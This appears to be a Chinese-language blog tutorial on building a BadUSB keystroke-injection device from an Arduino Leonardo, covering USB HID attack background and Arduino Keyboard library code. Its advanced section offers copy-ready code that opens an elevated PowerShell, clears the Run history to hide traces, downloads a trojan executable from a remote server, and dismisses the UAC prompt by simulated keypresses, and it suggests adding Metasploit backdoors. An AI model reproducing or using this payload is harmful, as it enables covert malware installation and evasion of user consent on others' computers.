0×00 介紹php
本文想以較簡單的方式,敘述Arduino版BadUSB的製做過程。我知道在這以前已經有不少前輩都寫過相關的文章,但小白可能還有點迷糊,因此這篇文章是快速帶你們入門瞭解,我也是菜B大神不要噴,謝謝~。 html
「BadUSB」是計算機安全領域的熱門話題之一,該漏洞由Karsten Nohl和Jakob Lell共同發現,並在2014年的BlackHat安全大會上公佈。 雖然已隔一兩年,但仍是有人在研究它,它的攻擊方式也多種多樣。shell
第一部分相關BadUSB介紹轉載於:https://security.tencent.com/index.php/blog/msg/74編程
BadUSB原理安全
在介紹BadUSB的原理以前,筆者在這裏先介紹下BadUSB出現以前,利用HID(Human InterfaceDevice,是計算機直接與人交互的設備,例如鍵盤、鼠標等)進行攻擊的兩種類型。分別是」USB RUBBERDUCKY」和」Teensy」。服務器
TEENSY介紹網絡
攻擊者在定製攻擊設備時,會向USB設備中置入一個攻擊芯片,此攻擊芯片是一個很是小並且功能完整的單片機開發系統,它的名字叫TEENSY。經過TEENSY你能夠模擬出一個鍵盤和鼠標,當你插入這個定製的USB設備時,電腦會識別爲一個鍵盤,利用設備中的微處理器與存儲空間和編程進去的攻擊代碼,就能夠向主機發送控制命令,從而徹底控制主機,不管自動播放是否開啓,均可以成功。框架
關於TEENSY,能夠參考天融信阿爾法實驗室的《HID攻擊之TEENSY實戰》函數
USB RUBBER DUCKY介紹工具
簡稱USB橡皮鴨,是最先的按鍵注入工具,經過嵌入式開發板實現,後來發展成爲一個徹底成熟的商業化按鍵注入攻擊平臺。它的原理一樣是將USB設備模擬成爲鍵盤,讓電腦識別成爲鍵盤,而後進行腳本模擬按鍵進行攻擊。
這兩種攻擊方式,是在BadUSB公佈以前,比較流行的兩種HID攻擊方式,缺陷在於要定製硬件設備,通用性比較差。可是BadUSB就不同了,它是在「USB RUBBER DUCKY」和「Teensy」攻擊方式的基礎上用通用的USB設備(好比U盤)。
U盤的內部構造
U盤由芯片控制器和閃存兩部分組成,芯片控制器負責與PC的通信和識別,閃存用來作數據存儲;閃存中有一部分區域用來存放U盤的固件,它的做用相似於操做系統,控制軟硬件交互;固件沒法經過普通手段進行讀取。
BadUSB就是經過對U盤的固件進行逆向從新編程,至關於改寫了U盤的操做系統而進行攻擊的。
USB協議漏洞
爲何要重寫固件呢?下面咱們能夠看看USB協議中存在的安全漏洞。
如今的USB設備不少,好比音視頻設備、攝像頭等,所以要求系統提供最大的兼容性,甚至免驅;因此在設計USB標準的時候沒有要求每一個USB設備像網絡設備那樣佔有一個惟一可識別的MAC地址讓系統進行驗證,而是容許一個USB設備具備多個輸入輸出設備的特徵。這樣就能夠經過重寫U盤固件,假裝成一個USB鍵盤,並經過虛擬鍵盤輸入集成到U盤固件中的指令和代碼而進行攻擊。
BadUSB利用代碼分析
筆者對KarstenNohl和Jakob Lell公佈的代碼進行簡單的一個流程解析。
這樣一個帶有惡意代碼的U盤就產生了,更詳細的能夠搜索Karsten Nohl 和 Jakob Lell公佈的代碼。
0×01 製做過程
好的廢話我們很少說了,直接開始吧~咱們就是利用Arduino製做TEENSY 。Arduino是讓一種叫作單片機的小型可編程電腦儘量簡單地被使用,而且單片機可讓物體得到交互功能。
來看一下咱們須要準備的材料吧
Arduino Leonardo //小型單片機模擬USB
Arduino IDE //用於燒錄代碼的編譯器 http://www.arduino.cn/thread-5838-1-1.html
安卓數據線 //用於鏈接電腦USB
PC一臺 //ok咱們能夠開工了
擴展:追求完美的同窗能夠考慮 ——超短micro轉USB
Arduino Leonardo 單片機咱們能夠去各大電商平臺上去淘,特別是什麼貨都有的電商平臺,相信你絕對能找到的。
我原本已經買好micro轉USB了 結果當我拿起他們兩個準備啪啪啪的時候~~~~
當場蒙逼,告訴我爲何插不進去~~~~ 算了看成記念吧 ,因此我先當個炮灰,但願其餘小夥伴不要和我同樣~~
感興趣的能夠考慮一下這個玩意 名字叫作OTG轉接頭 我已經再一次交出了個人身體 發現是真的。。。。 能夠有!
好~你們先把arduino IDE先裝好 安裝過程很簡單 就是下一步下一步,沒什麼難度。
安裝好之後打開IDE。
打開咱們的IDE
IDE改版後,啓動界面也變了,之前的版本不是這樣的。打開之後是這樣子的:
那好咱們就開始編寫代碼,不過在這以前咱們要先把Arduino Leonardo插上。而後咱們先保存一下這個項目文件,建議你們直接保存在桌面。
文件夾內就是咱們的demo文件。好~咱們開始編寫代碼:
void setup() { // put your setup code here, to run once: }
這段代碼就是初始化咱們的程序。
void loop() { // put your main code here, to run repeatedly: }
這段代碼是咱們要循環的地方。
以上只是程序給咱們搭好的框架,實際代碼要咱們本身去編寫。咱們讓USB對電腦進行操做主要是想實現自動化鍵盤操做,因此咱們這邊就要用到arduino的鍵盤函數
#include<Keyboard.h> //包含鍵盤模塊的頭文件 Keyboard.begin(); //開啓鍵盤通訊 Keyboard.press(); //按下某個鍵 Keyboard.release(); //釋放某個鍵 Keyboard.println(); /*輸入某些內容 和一些網上的解釋不一樣 網上解釋是輸入內容而且能回車,而我測試的時候並不能回車 可能和版本有關 不要不要擔憂有辦法回車*/ Keyboard.end(); //結束鍵盤通訊
OK,以上就是咱們主要使用到的函數。
那好如今我寫一些簡單代碼,而後你們能夠感性地知道 代碼的含義:
#include<Keyboard.h> //包含鍵盤模塊頭文件 void setup(); //初始化 Keyboard.begin();//開始鍵盤通訊 delay(1000);//延時1000毫秒,不要過短,由於天天電腦的運行速度都不同 Keyboard.press(KEY_CAPS_LOCK); //按下大寫鍵 這裏咱們最好這樣寫 否則大多數電腦在中文輸入的狀況下就會出現問題 Keyboard.release(KEY_CAPS_LOCK); //釋放大寫鍵 delay(500); Keyboard.press(KEY_LEFT_GUI);//按下徽標鍵 也就是win鍵 delay(500); Keyboard.press('r');//按下r鍵 delay(500); Keyboard.release(KEY_LEFT_GUI);//鬆掉win鍵 Keyboard.release('r');//鬆掉r鍵 delay(500); Keyboard.println("cmd");//輸入cmd進入DOS delay(500); Keyboard.press(KEY_RETURN); //按下回車鍵 Keyboard.release(KEY_RETURN); //釋放回車鍵 delay(500); Keyboard.println("echo first test"); Keyboard.press(KEY_RETURN); //按下回車鍵 Keyboard.release(KEY_RETURN); //釋放回車鍵 delay(500); Keyboard.press(KEY_CAPS_LOCK); //按下大寫鍵 Keyboard.release(KEY_CAPS_LOCK); //釋放大寫鍵 咱們再次關閉開啓的大寫鍵 delay(500); Keyboard.end();//結束鍵盤通信 } void loop()//循環,這裏的代碼 { //循環體 寫入你要循環的代碼 }
那好如今咱們把代碼寫到IDE裏面去。
而後咱們要選擇正確的開發板和COM口,每臺電腦都不同的。
一切準備就緒咱們點擊編譯,看看程序是否能正常執行。
提示這些說明咱們編譯成功。
那麼咱們離成功就是最後一步了——上傳。
上傳成功後,電腦會自動斷開USB,而後又會從新鏈接,那麼 Arduino Leonardo就會自動運行了。
咱們來看看: 首先開啓大寫鍵 而後打開了運行窗口 而後輸入了CMD 接着要回車了
而後程序本身輸入 echo first test 而且執行回車~~!! 大功告成~!
以上就是利用Arduino Leonardo實現自動化的ehco操做,模擬一個BadUSB。
0×02 進階
那麼我分享一下個人代碼——主要實現的功能就是從遠程服務器上下載咱們木馬而後執行,而且不會產生記錄,和網上的同窗實現的目的是同樣的,但代碼可能有所誤差。好那麼看代碼,由於篇幅緣由,我就直接貼出,主要實現代碼塊。
有須要的同窗自行黏貼
Keyboard.println("powershell.exe -command start-process powershell -verb runAs"); /*開啓管理員級別的powershell*/ Keyboard.println("reg delete HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU /f"); /*清除運行窗口產生的記錄*/ Keyboard.println("cmd.exe /T:01 /K mode CON: COLS=16 LINES=1"); //讓cmd窗口變成一個很小的窗口 Keyboard.println("$P = nEW-oBJECT sYSTEM.nET.wEBcLIENT"); //利用powershell 定義一個對象 Keyboard.println("$P.dOWNLOADfILE('HTTP://192.168.0.109/SUPER.EXE','c:\\SUPER.EXE')"); /*從服務端下載病毒 服務器地址和木馬本身指定 還有木馬將在目標機上存放的地址 本身設置*/ //本身想了一個比較笨的方法繞過UAC 就是詢問管理員是否贊成的那個框框 Keyboard.press(KEY_LEFT_ARROW); //按住左方向鍵 Keyboard.release(KEY_LEFT_ARROW); //釋放左方向鍵 Keyboard.press(KEY_RETURN); //按下回車鍵 Keyboard.release(KEY_RETURN);//釋放enter鍵
注意~
1.這裏咱們爲何要開管理員的powershell 是由於從服務端下載文件的時候 首先CMD不支持,其次就算咱們在cmd裏調用powershell 那也不是管理員身份下載會出錯。因此咱們這裏要開管理員的powershell 其實下載文件的操做code還有不少種 我這裏是一種 若是你們有更好的下載方式能夠和我說 謝謝 命令千奇百怪你們本身發揮
2.另外要注意的地方是在IDE編程的時候,指定目錄是要用\\ 雙斜槓。
3.這些命令字母的大小寫是這樣的,由於咱們在程序開頭執行了開啓大寫鍵的這個操做 ,因此咱們想還原真實的字母就要在IDE裏面把小寫的改爲大寫,大寫的改爲小寫 這樣程序輸出的時候就是咱們想要的結果
4.還有就是delay(); 延這個東西本身把握,不是說值都是惟一的。我這裏可能相對來講比較慢
最後附上鍵值對照表
Key Hexadecimal value Decimal value KEY_LEFT_CTRL 0x80 128 KEY_LEFT_SHIFT 0x81 129 KEY_LEFT_ALT 0x82 130 KEY_LEFT_GUI 0x83 131 KEY_RIGHT_CTRL 0x84 132 KEY_RIGHT_SHIFT 0x85 133 KEY_RIGHT_ALT 0x86 134 KEY_RIGHT_GUI 0x87 135 KEY_UP_ARROW 0xDA 218 KEY_DOWN_ARROW 0xD9 217 KEY_LEFT_ARROW 0xD8 216 KEY_RIGHT_ARROW 0xD7 215 KEY_BACKSPACE 0xB2 178 KEY_TAB 0xB3 179 KEY_RETURN 0xB0 176 KEY_ESC 0xB1 177 KEY_INSERT 0xD1 209 KEY_DELETE 0xD4 212 KEY_PAGE_UP 0xD3 211 KEY_PAGE_DOWN 0xD6 214 KEY_HOME 0xD2 210 KEY_END 0xD5 213 KEY_CAPS_LOCK 0xC1 193 KEY_F1 0xC2 194 KEY_F2 0xC3 195 KEY_F3 0xC4 196 KEY_F4 0xC5 197 KEY_F5 0xC6 198 KEY_F6 0xC7 199 KEY_F7 0xC8 200 KEY_F8 0xC9 201 KEY_F9 0xCA 202 KEY_F10 0xCB 203 KEY_F11 0xCC 204 KEY_F12 0xCD 205
固然我這邊的代碼還比較簡單沒有什麼控制語句和其餘函數,有興趣的同窗能夠看看這方便的編程知識,讓這個BadUSB更加智能,會判斷。
你們也能夠結合Metasploit 進行後門、木馬的植入,或者一些批處理文件,把本身電腦搞得亂七八糟,哈哈…
本文可能存在攻擊性,請勿用於非法用途。我的研究徹底沒問題,一切責任與本人無關,若有不足的地方但願指點,謝謝。
參考文獻:
http://www.myhack58.com/Article/60/76/2014/56812.htm
http://zone.wooyun.org/content/17931